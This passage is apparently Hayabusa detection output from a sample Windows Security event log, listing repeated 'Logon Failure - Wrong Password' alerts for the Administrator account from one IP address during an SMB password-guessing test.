NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.040 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FWzn4Oa8PQdH9Gqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b68beIB5BKyMv8d3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HeXSJhEXzpiRX8BT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.169 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BQ8Zu7ByLWddD4Tk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: paQzUptV8scmJvsG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.234 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WQLsoIX9LPvbockz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xRYbdVMbUlqFK8oM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OSO730O1fxDL4DfQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5wmniv339HLGKB4u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rO3mxvgSES0lVN34 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.433 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fvK9k9tnCq5hwBqe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ujFfMT6I6L8OHag9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.517 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FWKY2Wh21sePUR1L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.562 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6E6yf8D5cPOEwR0y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OpFho8k52BkBlg4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ucDvfSfDYZzjNWFS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vnq3S0gEE98xfYLv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: seVfaEdAS6lEXgkG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gz8BQAlyYXB61tx3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nkHLs6yikRWVjj9F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0bQUcnUBCmE81G6I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BceDCcXoHJQv9pDi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GCCLt49g8wmAMEyV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pM6C8KRcxVIUsZrZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fw5DU6l3QRVl9cWY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 37UthbuO3m4Lr7dU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: URB7Ji5pQleLtvy4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.101 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: orP9OgiBrYIKZPXE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZwvdnlIWhqoDg8On : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v6dXVbmLBpXc39ah : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Mu7amiHAg0l7bza : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JdG6F697kAXFDx9m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jY5AAnfQMH3VZQUa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iVep4j7jZZAOAQAj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KWWtGIQx8jBgAeoH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.427 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zn8X8gen8gX9i3QK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B9OdUM99RBHzwgVs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.518 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJbBVm6wDrqyQmpZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tAVRBfMxIyrfsEtR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wuCIClZihRxRyjGF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yxhpEP6nnmihvkHB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.833 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J1HYmJDrWmKjj8DF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V81dIfR2SRNDk3a2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vaZpLaxB1kcCXqHP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.949 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JRhs8IoV6R6vyCdL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4wUYds3Ym3G2abrV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tmBfxm6pPLlSEsUI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VbAuqFggx0zz5iEn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8cytpVOjb4KrNaGg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BFFFt7eFzmlzbHhG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AJQBZZiNKVGXzx4A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7gyu6EyrtbyowTfC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.267 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aASpkRuPfE8Nl64n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.306 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MSI2b7LpZpWO3xJW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: avNkOq3fsGN3yYJi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wnlgy6dW33tRk6UX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: msJ8QrqMluTeUlM9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H33NuKduMuskxL0D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BHjp69CD1ttbaK2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5uxByLPApvfeIhU2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6g0WOAnoGpKyEyzW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.640 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P8MTs4Nkbm3ryqcp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Nyd7tr3y0BHmPLM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.731 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J5KiDQOEnDf6xEPN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3MBP1buuRcBRiQTG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXXdcg3MSqnGSvax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Kej7zgIDCNR5tnnp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gjM8SOeQXwytB6iw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XPNATM0IL05vtbZ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H56ci5gbBVzebS2j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6rRofLg1uxrojU7n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MAhtwTU8OttAhcxf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CwKgAR6OWbkFlxUy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lNZR4G0DVsXVg4A9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.174 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OZG99tl0RRN3cQoK : IP Address: 192.168.198.149 : AuthPackage: 